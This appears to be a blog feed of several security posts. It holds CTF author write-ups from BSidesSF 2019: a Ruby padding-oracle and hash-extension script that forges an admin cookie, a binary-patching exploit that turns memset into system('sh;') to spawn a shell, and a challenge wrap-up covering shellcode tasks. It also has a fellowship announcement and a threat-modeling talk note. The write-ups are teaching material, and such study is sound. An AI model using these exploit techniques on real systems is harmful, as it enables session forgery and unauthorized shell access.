
def get_cookies()
  reset = HTTParty.head('http://localhost:1234/?action=reset', follow_redirects: false)
  cookies = reset.headers['Set-Cookie']

  return {
    signature: cookies.scan(/signature=([0-9a-f]*)/).pop.pop,
    user:      cookies.scan(/user=([0-9a-f]*)/).pop.pop,
    session:   cookies.scan(/rack\.session=([^;]*)/).pop.pop,
  }
end

# Get the initial set of cookies
COOKIES = get_cookies()

# This is the do_decrypt block - you'll have to change it depending on what your
# service is expecting (eg, by adding cookies, making a POST request, etc)
poracle = Poracle.new(BLOCKSIZE) do |data|
  cookies = COOKIES.clone()
  cookies[:user] = data.unpack("H*").pop

  result = request(cookies)
  #result.parsed_response.force_encoding("ASCII-8BIT")

  # Split the response and find any line containing error / exception / fail
  # (case insensitive)
  errors = result.parsed_response.split(/\n/).select { |l| l =~ /bad decrypt/i }

  # Return true if there are zero errors
  errors.empty?
end

data = COOKIES[:user]

L.info("Trying to decrypt: %s" % data)

# Convert to a binary string using pack
data = [data].pack("H*")

result = poracle.decrypt_with_embedded_iv(data)

# Print the decryption result
puts("-----------------------------")
puts("Decryption result")
puts("-----------------------------")
puts result
puts("-----------------------------")

If I run it, it outputs:

$ ruby ./Solution.rb
I, [2019-03-10T14:57:29.516523 #24889]  INFO -- : Starting Poracle with blocksize = 16
I, [2019-03-10T14:57:29.516584 #24889]  INFO -- : Trying to decrypt: 02e16b251f7077786a2bba0d82ce1e4fab04a1a088c681ed493156fb7ef14a7a20b0f63c99a74249f9c04192da896ae0b4105ea7e187de2d960ec95f5de6bbaa
I, [2019-03-10T14:57:29.516604 #24889]  INFO -- : Grabbing the IV from the first block...
I, [2019-03-10T14:57:29.519956 #24889]  INFO -- : Starting Poracle decryptor...
D, [2019-03-10T14:57:29.520023 #24889] DEBUG -- : Encrypted length: 64
D, [2019-03-10T14:57:29.520037 #24889] DEBUG -- : Blocksize: 16
D, [2019-03-10T14:57:29.520047 #24889] DEBUG -- : 4 blocks:
D, [2019-03-10T14:57:29.520070 #24889] DEBUG -- : Block 1: ["02e16b251f7077786a2bba0d82ce1e4f"]
D, [2019-03-10T14:57:29.520085 #24889] DEBUG -- : Block 2: ["ab04a1a088c681ed493156fb7ef14a7a"]
D, [2019-03-10T14:57:29.520098 #24889] DEBUG -- : Block 3: ["20b0f63c99a74249f9c04192da896ae0"]
D, [2019-03-10T14:57:29.520110 #24889] DEBUG -- : Block 4: ["b4105ea7e187de2d960ec95f5de6bbaa"]
...
[... lots of output ...]
...
-----------------------------
Decryption result
-----------------------------
UID 53
NAME baseuser
SKILLS n/a
-----------------------------

Aha, that's what the decrypted block looks like! Keep in mind that Poracle started its own session, so the values are different than they were earlier.

What we want to do is append a UID 0 to the bottom:

UID 53
NAME baseuser
SKILLS n/a
UID 0

But if we just use the padding oracle to encrypt that, we'll get an "Invalid Signature" error. Fortunately, this is also vulnerable to hash length extension! And, also fortunately, I wrote a tool for this, too, along with a super detailed blog about the attack!

I added the following code to the bottom of Solution.rb:

# Write it to a file
File.open("/tmp/decrypt", "wb") do |f|
  f.write(result)
end

# Call out to hash_extender and pull out the new data
append = "\nUID 0\n".unpack("H*").pop
out = `./hash_extender --file=/tmp/decrypt -s #{COOKIES[:signature]} -a '#{append}' --append-format=hex -f sha256 -l 8`
new_signature = out.scan(/New signature: ([0-9a-f]*)/).pop.pop
new_data = out.scan(/New string: ([0-9a-f]*)/).pop.pop

This dumps the decrypted data to a file, /tmp/decrypt. It then appends "\nUID 0\n" using hash_extender, and grabs the new signature/data.

Then, finally, we add a call to poracle.encrypt to re-encrypt the data:

# Call out to Poracle to encrypt the new data
new_encrypted_data = poracle.encrypt([new_data].pack('H*'))

# Perform the request to get the flag
cookies = COOKIES.clone
cookies[:user] = new_encrypted_data.unpack("H*").pop
cookies[:signature] = new_signature
puts(request(cookies))

If you let the whole thing run, you'll first note that the encryption takes a whole lot longer than the decryption did. That's because it can't optimize for "probably English letters" going that way.

But eventually, it'll finish and print out the whole page, including:

...
  data.push("...your UID value is set to 0");
  data.push("...your NAME value is set to baseuser");
  data.push("...your SKILLS value is set to n/a");
  data.push("...your �@ value is set to ");
  data.push("FLAG VALUE: <span class='highlight'>CTF{parse_order_matters}</span></p>");
...

And that's the end of the crypto challenges! Definitely read my posts on padding oracles and hash extension, since I dive into deep detail!

BSidesSF CTF author writeup: genius

Hey all,

This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!

Ultimately, the player is expected to gain code execution by tricking genius into running system("sh;");, with the help of loader (at least, that's how I solved it and that's how others I talked to solved it). A hint to that is given when the game is initially started:

$ ./genius
In case it helps or whatever, system() is at 0x80485e0 and the game object is at 0x804b1a0. :)

After that, it starts displaying a Tetris-like commandline game, with the controls 'a' and 'd' to move, 'q' and 'e' to rotate, and 's' to drop the piece to the bottom.

Here's what the game board looks like with the first block (an 'O') falling:

+----------+
|          |
|          |
|          |
|          |
|          |
|   **     |
|   **     |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
+----------+
Score: 0

And after some blocks fall:

+----------+
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|        * |
|        * |
|       ** |
|   #      |
|   ##     |
|    #     |
|   ##   # |
|   ##  ###|
+----------+
Score: 3000

Simple enough! No obvious paths to code execution yet! But... that's where loader comes in.

Loader

When loader runs, it asks for a "Game Genius code":

$ ./loader
Welcome to the Game Genius interface!
Loading game...
...
Loaded!

Please enter your first Game Genius code, or press <enter> to
continue!

Some players may guess by the name and format, and others may reverse engineer it, but the codes it wants are classic NES Game Genie codes.

I found an online code generator written in JavaScript (it's not even online anymore so I linked to the archive.org version) that can generate codes. I only support the 6-character code - no "Key" value.

Interestingly, the code modifies the game on disk rather than in-memory. That means that the player has access to change basically anything, including read-only data, ELF headers, import table, and so on. After all, it wouldn't be NES if it had memory protection, right?

So the question is, what do we modify, and to what?

The code

We're going to look at a bit of assembly now. In particular, the printf-statement at the start where the address of system is displayed looks like this:

.text:08049462                 push    offset dword_804B1A0
.text:08049467                 push    offset _system
.text:0804946C                 push    offset aInCaseItHelpsO ; "In case it helps or whatever, system() "...
.text:08049471                 call    _printf

dword_804B1A0 is a bit array representing the game board, where each bit is 1 for a piece, and 0 for no piece. set_square and get_square are implemented like this, in the original C:

void set_square(int x, int y, int on) {
  int byte = ((y * BOARD_WIDTH) + x) / 8;
  int bit  = ((y * BOARD_WIDTH) + x) % 8;

  if(on) {
    game.board[byte] = game.board[byte] | (1 << bit);
  } else {
    game.board[byte] = game.board[byte] & ~(1 << bit);
  }
}


int8_t get_square(int x, int y) {
  int byte = ((y * BOARD_WIDTH) + x) / 8;
  int bit = ((y * BOARD_WIDTH) + x) % 8;

  return (game.board[byte] & (1 << bit)) ? 1 : 0;
}

As you can see, game.board (which is simply dword_804B1A0, which we saw earlier) starts are the upper-left, and encodes the board left to right. So the board we saw earlier:

...
|   #      |
|   ##     |
|    #     |
|   ##   # |
|   ##  ###|
+----------+

Is essentially ...0000010000000001100000000010000000011000100001100111 or 0x00...00401802018867. That's not entirely accurate, because each byte is encoded backwards, so we'd have to flip each set of 8 bits to get the actual value, but you get the idea (we won't encode by hand).

After the game ends, the board is cleared out with memset():

.text:08049547                 push    1Ah             ; n
.text:08049549                 push    0               ; c
.text:0804954B                 push    offset dword_804B1A0 ; s
.text:08049550                 call    _memset

There's that board variable again, dword_804B1A0!

That _memset call is where we're going to take control. But how?

The exploit, part 1

First off, when memset is called, it jumps to this little stub in the .plt section:

.plt:08048620                   ; void *memset(void *s, int c, size_t n)
.plt:08048620                   _memset         proc near               ; CODE XREF: main+57p
.plt:08048620                                                           ; main+150p
.plt:08048620 FF 25 30 B0 04 08                 jmp     ds:off_804B030
.plt:08048620                   _memset         endp

That's the .plt section - the Procedure Linkage Table. It's an absolute jump to the address stored at 0x804B030, which is the address of the real _memset function once the dynamic library is loaded.

Just above that is _system():

.plt:080485E0                   ; int system(const char *command)
.plt:080485E0                   _system         proc near               ; DATA XREF: main+67o
.plt:080485E0 FF 25 20 B0 04 08                 jmp     ds:off_804B020
.plt:080485E0                   _system         endp

It looks very similar to _memset(), except one byte of the address is different - the instruction FF2530B00408 becomes FF2520B00408!

With the first Game Genius code, I change the 0x30 in memset() to 0x20 for system. The virtual address is 0x08048620, which maps to the in-file address of 0x620 (IDA displays the real address in the bottom-left corner). Since we're changing the third byte, we need to change 0x620 + 2 => 0x622 from 0x30 to 0x20, which effectively changes every call to memset to instead call system.

Entering 622 and 20 into the online game genie code generator gives us our first code, AZZAZT.

The exploit, part 2

So now, every time the game attempts to call memset(board) it calls system(board). The problem is that the first few bits of board are quite hard to control (possibly impossible, unless you found another way to use the Game Genius codes to do it).

However, we can change one byte of the instruction push offset dword_804B1A0, we can somewhat change the address. That means we can shift the address to somewhere inside the board instead of the start!

Since I have sourcecode access, I can be lazier than players and just set them to see what it'd look like. That way, I can look at putting "sh;" at each offset in the board to see which one would be easiest to build in-game. When I started working on this, I honestly didn't even know if this could work, but it did!

I'll start with the furthest possible value to the right (at the end of the board):

  game.board[BOARD_SIZE-3] = 's';
  game.board[BOARD_SIZE-2] = 'h';
  game.board[BOARD_SIZE-1] = ';';

That creates a board that looks like:

...
|          |
|    ##  ##|
|#    # ## |
|## ###    |
+----------+

That looks like an awfully hard shape to make! So let's try setting the next three bytes towards the start:

  game.board[BOARD_SIZE-4] = 's';
  game.board[BOARD_SIZE-3] = 'h';
  game.board[BOARD_SIZE-2] = ';';
...
|          |
|      ##  |
|###    # #|
|# ## ###  |
|          |
+----------+

That's still a pretty bad shape. How about third from the end?

  game.board[BOARD_SIZE-5] = 's';
  game.board[BOARD_SIZE-4] = 'h';
  game.board[BOARD_SIZE-3] = ';';
...

|          |
|        ##|
|  ###    #|
| ## ## ###|
|          |
|          |
+----------+

That's starting to look like Tetris shapes! I chose that one, and tried to build it.

First, let's see which bytes "matter" - anything before "sh;" will be ignored, and anything after will run after "sh" exits, thanks to the ";" (you can also use "#" or "\0", but fortunately I didn't have to):

...
|          |
|        ##|
|##########|
|##########|
|##        |
|          |
+----------+

All we really care about is setting the 1 and 0 values within that block properly.. nothing else before or after matters at all.:

|          |
|        11|
|0011100001|
|0110110111|
|00        |
|          |
+----------+

If we do a bit of math, we'll know that that value starts 0x15 bytes from the start of board. That means we want to change push offset dword_804B1A0 to push offset dword_804B1A0+0x15, aka push offset dword_804B1B5

In the binary, here is the instruction (including code bytes):

.text:0804954B 68 A0 B1 04 08  push    offset dword_804B1A0 ; s
.text:08049550 E8 CB F0 FF FF  call    _memset

In the first line, we simply want to change 0xA0 to 0xB5. That instruction starts at in-file address 0x154B, and the 0xA0 is one byte from the start, so we want to change 0x154B+1 = 0x154C to 0xB5.

Throwing that address and value into the Game Genie calculator, we get our second code: SLGOGI

Playing the game

All that's left is to play the game. Easy, right?

Fortunately for players (and myself!), I set a static random seed, which means you'll always get the same Tetris blocks in the same order. I literally wrote down the first 20 or so blocks, using standard Tetris names. These are the ones that I ended up using, in order: O, S, T, J, O, Z, Z, T, O, Z, T, J, and L

Then I took a pencil and paper, and literally started drawing where I wanted pieces to go. We basically want to have a block where you see a '1' and a space where you see a '0'. Blank spaces can be either, since they're ignored.

Here's our starting state, once again:

|          |
|        11|
|0011100001|
|0110110111|
|00        |
|          |
+----------+

Then we get a O block. I'll notate it as "a", since it's the first block to fall:

|          |
|        11|
|0011100001|
|0110110111|
|00aa      |
|  aa      |
+----------+

So far, we're just filling in blanks. The next piece to fall is an S piece, which fits absolutely perfectly (and we label as 'b'):

|          |
|        11|
|00bb100001|
|0bb0110111|
|00aa      |
|  aa      |
+----------+

Then a T block, 'c', which touches a 1:

|          |
|        11|
|00bb100001|
|0bb0110c11|
|00aa   cc |
|  aa   c  |
+----------+

Then J ('d'):

|          |
|        1d|
|00bb10000d|
|0bb0110cdd|
|00aa   cc |
|  aa   c  |
+----------+

Then O ('e'):

|          |
|        1d|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then Z ('f'), which fills in the tip:

|          |
|         f|
|        ff|
|        fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then Z ('g') - here we're starting to throw away pieces, all we need is an L:

|          |
|         f|
| gg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then T ('h'), still throwing away pieces:

|          |
|h         |
|hh       f|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then O ('i'), throw throw throw:

|          |
|h ii      |
|hhii     f|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then Z ('j'), thrown away:

|          |
|         j|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then T ('k'), thrown away:

|          |
|        k |
|        kk|
|        kj|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then J ('m'):

|          |
| m      k |
| m      kk|
|mm      kj|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

And finally, the L we needed to finish the last part of the puzzle ('o'):

|          |
| m      k |
| m      kk|
|mm      kj|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  ggo   fd|
|00bbo0000d|
|0bb0oo0cdd|
|00aaee cc |
|  aaee c  |
+----------+

I literally drew all that on paper, erasing and moving stuff as needed to get the shape right. Once I had the shape, I figured out the inputs that would be required by literally playing:

  • as
  • qaas
  • eddds
  • qdddds
  • ds
  • ddddds
  • qaas
  • eaaaas
  • as
  • ddddds
  • edddds
  • aaaaas
  • eas

Followed by 's' repeated to drop every piece straight down until the board fills up and the game ends.

To summarize

So here is the exploit, in brief!

Run ./loader in the same folder as genius (or user the Dockerfile).

Enter code 1, AZZAZT, which changes memset into system

Enter code 2, SLGOGI, which changes system(board) to system(board+0x15)

Play the game, and enter the list of inputs shown just above.

When the game ends, like magic, a shell appears!

+----------+
|    *     |
|   *#*    |
|   ###    |
|   ##     |
|   ##     |
|    #     |
|   ##     |
|   #      |
|   ####   |
|     #    |
|   ###  # |
|#  #    ##|
|#####   ##|
|# ###   ##|
|####    ##|
|###     ##|
|  ###   ##|
|  ###    #|
| ## ## ###|
|  #### ## |
|  #### #  |
+----------+
$ pwd
/home/ron/projects/ctf-2019/challenges/genius/challenge/src
$ ls
blocks.h  genius  genius.c  genius.o  loader  loader.c  loader.o  Makefile

And there you have it!

$10,000 research fellowships for underrepresented talent

The Trail of Bits SummerCon Fellowship program is now accepting applications from emerging security researchers with excellent project ideas. Fellows will explore their research topics with our guidance and then present their findings at SummerCon 2019. We will be reserving at least 50% of our funding for marginalized, female-identifying, transgender, and non-binary candidates. If you’re interested in applying, read on!

Why we’re doing this

Inclusion is a serious and persistent issue for the infosec industry. According to the 2017 (ISC)2 report on Women in Cybersecurity, only 11% of the cybersecurity workforce identify as women–-a deficient proportion that hasn’t changed since 2013. Based on a 2018 (ISC)2 study, the issue is worse for women of color, who report facing pervasive discrimination, unexplained denial or delay in career advancement, exaggerated highlights of mistakes and errors, and tokenism.

Not only is this ethically objectionable, it makes no business sense. In 2012, Mckinsey & Company found–-with ‘startling consistency’—that “for companies ranking in the top quartile of executive-board diversity, Returns on Equity (ROE) were 53 percent higher, on average, than they were for those in the bottom quartile. At the same time, Earnings Before Tax and Interest (EBTI) margins at the most diverse companies were 14 percent higher, on average, than those of the least diverse companies.”

The problem is particularly conspicuous at infosec conferences: a dearth of non-white non-male speakers, few female attendees, and pervasive reports of sexual discrimination. That’s why Trail of Bits and one of the longest-running hacker conferences, SummerCon, decided to collaborate to combat the issue. Through this fellowship, we’re sponsoring and mentoring emerging talent that might not otherwise get enough funding, mentorship, and exposure, and then shining a spotlight on their research.

Funding and mentorship to elevate your security research

The Trail of Bits SummerCon Fellowship provides awarded fellows with:

  • $10,000 grant to fund a six-month security research project
  • Dedicated research mentorship from a security engineer at Trail of Bits
  • An invitation to present findings at SummerCon 2019

50% of the program spots are reserved for marginalized, people of color, female-identifying, transgender, and non-binary candidates. Applicants of all genders, races, ethnicities, sexual orientations, ages, and abilities are encouraged to apply.

The research topics we’ll support

Applicants should bring a low-level programming or security research project that they’ve been wanting to tackle but have lacked the time or resources to pursue. They’ll have strong skills in low-level or systems programming, reverse engineering, program analysis (including dynamic binary instrumentation, symbolic execution, and abstract interpretation), or vulnerability analysis.

We’re especially interested in research ideas that align with our areas of expertise. That way, we can better support applicants. Think along the lines of:

How do I apply?

Apply here!

We’re accepting applications until January 15th. We’ll announce fellowship recipients in February.

Interested in applying? Go for it!

Submissions will be judged by a panel of experts from the SummerCon foundation, including Trail of Bits. Good luck!

Threat Modeling Thursday: 2018

Since I wrote my book on the topic, people have been asking me “what’s new in threat modeling?” My Blackhat talk is my answer to that question, and it’s been taking up the time that I’d otherwise be devoting to the series.

As I’ve been practicing my talk*, I discovered that there’s more new than I thought, and I may not be able to fit in everything I want to talk about in 50 minutes. But it’s coming together nicely.


The current core outline is:

  • What are we working on
    • The fast moving world of cyber
    • The agile world
    • Models are scary
  • What can go wrong? Threats evolve!
    • STRIDE
    • Machine Learning
    • Conflict

And of course, because it’s 2018, there’s cat videos and emoji to augment logic. Yeah, that’s the word. Augment. ????

Wednesday, August 8 at 2:40 PM.

* Oh, and note to anyone speaking anywhere, and especially large events like Blackhat — as the speaker resources say: practice, practice, practice.

Also, something about the stylesheet for this blog break emoji. Try https://adam.shostack.org/blog/2018/07/threat-modeling-thursday-2018-2/.

BSidesSF CTF wrap-up

Welcome!

While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.


The goal of this post is to explain a little bit of the motivation behind the challenges I wrote, and to give basic solutions. It's not going to have a step-by-step walkthrough of each challenge - though you might find that in the writeups list - but, rather, I'll cover what I intended to teach, and some interesting (to me :) ) trivia.

If you want to see the source of the challenges, our notes, and mostly everything else we generated as part of creating this CTF, you can find them here:

  • Original sourcecode on github
  • Google Drive notes (note that that's not the complete set of notes - some stuff (like comments from our meetings, brainstorming docs, etc) are a little too private, and contain ideas for future challenges :) )

Part of my goal for releasing all of our source + planning documents + deployment files is to a) show others how a CTF can be run, and b) encourage other CTF developers to follow suit and release their stuff!

As of the writing, the scoreboard and challenges are still online. We plan to keep them around for a couple more days before finally shutting them down.

Infrastructure

The rest of my team can most definitely confirm this: I'm not an infrastructure kinda guy. I was happy to write challenges, and relied on others for infrastructure bits. The only thing I did was write a Dockerfile for each of my challenges.

As such, I'll defer to my team on this part. I'm hoping that others on my team will post more details about the configurations, which I'll share on my Twitter feed. You can also find all the Dockerfiles and deployment scripts on our Github repository.

What I do know is, we used:

  • Googles CTF Scoreboard running on AppEngine for our scoreboard
  • Dockerfiles for each challenge that had an online component, and Docker for testing
  • docker-compose for testing
  • Kubernetes for deployment
  • Google Container Engine for running all of that in The Cloud

As I said, all the configurations are on Github. The infrastructure worked great, though, we had absolutely no traffic or load problems, and only very minor other problems.

I'm also super excited that Google graciously sponsored all of our Google Cloud expenses! The CTF weekend cost us roughly $500 - $600, and as of now we've spent a little over $800.

Players

Just a few numbers:

  • We had 728 teams register
  • We had 531 teams score at least one point
  • We had 354 teams score at least 100 points
  • We had 23 teams submit at least one on-site flag (presumably, that many teams played on-site)

Also, the top-10 teams were:

  • dcua :: 6773
  • OpenToAll :: 5178
  • scryptos :: 5093
  • Dragon Sector :: 4877
  • Antichat :: 4877
  • p4 :: 4777
  • khack40 :: 4677
  • squareroots :: 4643
  • ASIS :: 4427
  • Ox002147 :: 4397

The top-10 teams on-site were:

  • OpenToAll :: 5178
  • ▣ :: 3548
  • hash_slinging_hackers :: 3278
  • NeverTry :: 2912
  • 0x41434142 :: 2668
  • DevOps Solution :: 1823
  • Shadow Cats :: 1532
  • HOW BOU DAH :: 1448
  • Newbie :: 762
  • CTYS :: 694

The full list can be found on our CTFTime.org page.

On-site challenges

We had three on-site challenges (none of them created by me):

on-sight [1]

This was a one-point challenge designed simply to determine who's eligible for on-site prizes. We had to flag taped to the wall. Not super interesting. :)

(Speaking of prizes, I want to give a shout out to Synack for providing some prizes, and in particular to working with us on a fairly complex set-up for dealing with said prizes. :)

Shared Secrets [250]

The Shared Secrets challenge was a last-minute idea. We wanted more on-site challenges, and others on the CTF organizers team came up with Shamir Shared Secret Scheme. We posted QR Codes containing pieces of a secret around the venue.

It was a "3 of 6" scheme, so only three were actually needed to get the secret.

The quotes on top of each image try to push people towards either "Shamir" or "ACM 22(11)". My favourite was, "Hi, hi, howdy, howdy, hi, hi! While everyone is minus, you could call me multiply", which is a line from a Shamir (the rapper) song. I did not determine if Shamir the rapper and Shamir the cryptographer were the same person. :)

Locker [150]

Locker is really cool! We basically set up a padlock with an Arduino and a receipt printer. After successfully picking the lock, you'd get a one-time-use flag printed out by the printer.

(We had some problems with submitting the flag early-on, because we forgot to build the database for the one-time-use flags, but got that resolved quickly!)

@bmenrigh developed the lock post, which detected the lock opening, and @matir developed the software for the receipt printer.

My challenges

I'm not going to go over others' challenges, other than the on-site ones I already covered, I don't have the insight to make comments on them. However, I do want to cover all my challenges. Not a ton of detail, but enough to understand the context. I'll likely blog about a couple of them specifically later.

I probably don't need to say it, but: challenge spoilers coming!

'easy' challenges [10-40]

I wrote a series of what I called 'easy' challenges. They don't really have a trick to them, but teach a fundamental concept necessary to do CTFs. They're also a teaching tool that I plan to use for years to come. :)

easy [10] - a couldn't-be-easier reversing challenge. Asks for a password then prints out a flag. You can get both the password and the flag by running strings on the binary.

easyauth [30] - a web challenge that sets a cookie, and tells you it's setting a cookie. The cookie is simply 'username=guest'. If you change the cookie to 'username=administrator', you're given the flag. This is to force people to learn how to edit cookies in their browser.

easyshell [30] and easyshell64 [30] - these are both simple programs where you can send it shellcode, and they run it. It requires the player to figure out what shellcode is and how to use it (eg, from msfvenom or an online shellcode database). There's both a 32- and a 64-bit version, as well.

easyshell and easyshell64 are also good ways to test shellcode, and a place where people can grab libc binaries, if needed.

And finally, easycap [40] is a simple packet capture, where a flag is sent across the network one packet at a time. I didn't keep my generator, but it's essentially a ruby script that would do a s.send() on each byte of a string.

skipper [75] and skipper2 [200]

Now, we're starting to get into some of the levels that require some amount of specialized knowledge. I wrote skipper and skipper2 for an internal company CTF a long time ago, and have kept them around as useful teaching tools.

One of the first thing I ever did in reverse engineering was write a registration bypass for some icon-maker program on 16-bit DOS using the debug.com command and some dumb luck. Something where you had to find the "Sorry, your registration code is invalid" message and bypass it. I wanted to simulate this, and that's where these came from.

With skipper, you can bypass the checks by just changing the program counter ($eip or $rip) or nop'ing out the checks. skipper2, however, incorporates the results from the checks into the final flag, so they can't be skipped quite so easily. Rather, you have to stop before each check and load the proper value into memory to get the flag. This simulates situations I've legitimately run into while writing keygens.

hashecute [100]

When I originally conceived of hashecute, I had imagined it being fairly difficult. The idea is, you can send any shellcode you want to the server, but you have to prepend the MD5 of the shellcode to it, and the prepended shellcode runs as well. That's gotta be hard, right? Making an MD5 that's executable??

Except it's not, really. You just need to make sure your checksum starts with a short-jump to the end of the checksum (or to a NOP sled if you want to do it even faster!). That's \xeb\x0e (for jmp) or \e9\x0e (for call), as the simplest examples (there are practically infinite others). And it's really easy to do that by just appending crap to the end of the shellcode: you can see that in my solution.

It does, however, teach a little critical thinking to somebody who might not be super accustomed to dealing with machine code, so I intend to continue using this one as a teaching tool. :)

b-64-b-tuff [100]

b-64-b-tuff has the dual-honour of both having the stupidest name and being the biggest waste of my own time .:)

So, I came up with the idea of writing this challenge during a conversation with a friend: I said that I know people have written shellcode encoders for unicode and other stuff, but nobody had ever written one for Base64. We should make that a challenge!

So I spent a couple minutes writing the challenge. It's mostly just Base64 code from StackOverflow or something, and the rest is the same skeleton as easyshell/easyshell64.

Then I spent a few hours writing a pure Base64 shellcode encoder. I intend to do a future blog 100% about that process, because I think it's actually a kind of interesting problem. I eventually got to the point where it worked perfectly, and I was happy that I could prove that this was, indeed, solveable! So I gave it a stupid name and sent out my PR.

That's when I think @matir said, "isn't Base64 just a superset of alphanumeric?".

Yes. Yes it is. I could have used any off-the-shelf alphanumeric shellcode encoder such as msfvenom. D'OH!

But, the process was really interesting, and I do plan to write about it, so it's not a total loss. And I know at least one player did the same (hi @Grazfather! [he graciously shared his code where he encoded it all by hand]), so I feel good about that :-D

in-plain-sight [100]

I like to joke that I only write challenges to drive traffic to my blog. This is sort of the opposite: it rewards teams that read my blog. :)

A few months ago, while writing the delphi-status challenge (more on that one later), I realized that when encrypting data using a padding oracle, the last block can be arbitrarily chosen! I wrote about it in an off-handed sort of way at that time.

Shortly after, I realized that it could make a neat CTF challenge, and thus was born in-plain-site.

It's kind of a silly little challenge. Like one of those puzzles you get in riddle books. The ciphertext was literally the string "HiddenCiphertext", which I tell you in the description, but of course you probably wouldn't notice that. When you do, it's a groaner. :)

Fun story: I had a guy from the team OpenToAll bring up the blog before we released the challenge, and mention how he was looking for a challenge involving plaintext ciphertext. I had to resist laughing, because I knew it was coming!

i-am-the-shortest [200]

This was a silly little level, which once again forces people to get shellcode. You're allowed to send up to 5 bytes of shellcode to the server, where the flag is loaded into memory, and the server executes them.

Obviously, 5 bytes isn't enough to do a proper syscall, so you have to be creative. It's more of a puzzle challenge than anything.

The trick is, I used a bunch of in-line assembly when developing the challenge (see the original source, it isn't pretty!) that ensures that the registers are basically set up to make a syscall - all you have to do it move esi (a pointer to the flag) into ecx. I later discovered that you can "link" variables to specific registers in gcc.

The intended method was for people to send \xcc for the shellcode (or similar) and to investigate the registers, determining what the state was, and then to use shellcode along the lines of xchg esi, ecx / int 0x80. And that's what most solvers I talked to did.

One fun thing: eax (which is the syscall number when a syscall is made) is set to len(shellcode) (the return value of read()). Since sys_write, the syscall you want to make, is number 4, you can easily trigger it by sending 4 bytes. If you send 5 bytes, it makes the wrong call.

Several of the solutions I saw had a dec eax instruction in them, however! The irony is, you only need that instruction because you have it. If you had just left it off, eax would already be 4!

delphi-status [250]

delphi-status was another of those levels where I spent way more time on the solution than on the challenge.

It seems common enough to see tools to decrypt data using a padding oracle, but not super common to see challenges where you have to encrypt data with a padding oracle. So I decided to create a challenge where you have to encrypt arbitrary data!

The original goal was to make somebody write a padding oracle encryptor tool for me. That seemed like a good idea!

But, I wanted to make sure this was do-able, and I was just generally curious, so I wrote it myself. Then I updated my tool Poracle to support encryption, and wrote a blog about it. If there wasn't a tool available that could encrypt arbitrary data with a padding oracle, I was going to hold back on releasing the code. But tools do exist, so I just released mine.

It turns out, there was a simpler solution: you could simply xor-out the data from the block when it's only one block, and xor-in arbitrary data. I don't have exact details, but I know it works. Basically, it's a classic stream-cipher-style attack.

And that just demonstrates the Cryptographic Doom Principle :)

ximage [300]

ximage might be my favourite level. Some time ago - possibly years - I was chatting with a friend, and steganography came up. I wondered if it was possible to create an image where the very pixels were executable!?

I went home wondering if that was possible, and started trying to think of 3-byte NOP-equivalent instructions. I managed to think of a large number of work-able combinations, including ones that modified registers I don't care about, plus combinations of 1- and 2-byte NOP-equivalents. By the end, I could reasonably do most colours in an image, including black (though it was slightly greenish) and white. You can find the code here.

(I got totally nerdsniped while writing this, and just spent a couple days trying to find every 3-byte NOP equivalent to see how much I can improve this!)

Originally, I just made the image data executable, so you'd have to ignore the header and run the image body. Eventually, I noticed that the bitmap header, 'BM', was effectively inc edx / dec ebp, which is a NOP for all I'm concerned. That's followed by a 2-byte length value. I changed that length on every image to be \xeb\x32, which is effectively a jump to the end of the header. That also caused weird errors when reading the image, which I was totally fine with leaving as a hint.

So what you have is an image that's effectively shellcode; it can be loaded into memory and run. A steganographic method that has probably never been done. :)

beez-fight [350]

beez-fight was an item-duplication vulnerability that was modeled after a similar vulnerability in Diablo 2. I had a friend a lonnnng time ago who discovered a vulnerability in Diablo 2, where when you sold an item it was copied through a buffer, and that buffer could be sold again. I was trying to think of a similar vulnerability, where a buffer wasn't cleared correctly.

I started by writing a simple game engine. While I was creating items, locations, monsters, etc., I didn't really think about how the game was going to be played - browser? A binary I distribute? netcat? Distributing a binary can be fun, because the player has to reverse engineer the protocol. But netcat is easier! The problem is, the vulnerability has to be a bit more subtle in netcat, because I can't depend on a numbered buffer - what you see is what you get!

Eventually, I came upon the idea of equip/unequip being problematic. Not clearing the buffer properly!

Something I see far too much in real life is code that checks if an object exists in a different way in different places. So I decided to replicate that - I had both an item that's NULL-able, and a flag :is_equipped. When you tried to use an item, it would check if the :is_equipped flag is set. But when you unequipped it, it checked if the item was NULL, which never actually happened (unequipping it only toggled the flag). As a result, you could unequip the item multiple times and duplicate it!

